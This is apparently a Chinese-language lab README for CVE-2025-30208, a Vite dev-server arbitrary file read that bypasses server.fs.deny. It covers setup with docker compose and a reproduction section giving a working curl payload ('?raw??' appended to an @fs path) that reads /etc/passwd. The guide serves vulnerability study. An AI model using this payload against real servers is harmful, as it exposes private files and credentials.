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vite/CVE-2025-30208/README.zh-cn.md
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vite/CVE-2025-30208/README.zh-cn.md
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# Vite开发服务器任意文件读取漏洞绕过(CVE-2025-30208)
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Vite是一个现代前端构建工具,为Web项目提供更快、更精简的开发体验。它主要由两部分组成:具有热模块替换(HMR)功能的开发服务器,以及使用Rollup打包代码的构建命令。
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在Vite 6.2.3、6.1.2、6.0.12、5.4.15和4.5.10版本之前,用于限制访问Vite服务允许列表之外的文件的`server.fs.deny`功能可被绕过。通过在URL的`@fs`前缀后增加`?raw??`或`?import&raw??`,攻击者可以读取文件系统上的任意文件。
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此漏洞发生的原因是,在请求处理过程中尾部分隔符(如`?`)在多个地方被移除,但在查询字符串正则表达式中没有考虑,导致安全检查被绕过。
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这个漏洞是[CNVD-2022-44615](../CNVD-2022-44615/README.zh-cn.md)补丁的绕过。
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参考链接:
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- <https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w>
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- <https://nvd.nist.gov/vuln/detail/CVE-2025-30208>
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## 环境搭建
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执行以下命令启动Vite 6.2.2开发服务器:
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```
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docker compose up -d
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```
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服务器启动后,可以通过访问`http://your-ip:5173`来访问 Vite 开发服务器。
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> 注意:旧版本Vite的开发服务器默认端口为3000,新版本默认端口为5173,请注意区分。
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## 漏洞复现
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尝试使用标准的`@fs`前缀访问`/etc/passwd`,测试正常访问是否会被限制:
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可见,当发送请求到`http://your-ip:5173/@fs/etc/passwd`时,你会收到403 Forbidden响应,因为这个路径在Vite服务的允许范围之外。
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通过在URL后附加`?raw??`,你就可以绕过这个限制并获取文件内容:
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```
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curl "http://your-ip:5173/@fs/etc/passwd?raw??"
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```
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这个请求将会返回`/etc/passwd`文件的内容:
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除了上面的Payload,你也可以使用`?import&raw??`来达到相同的效果。
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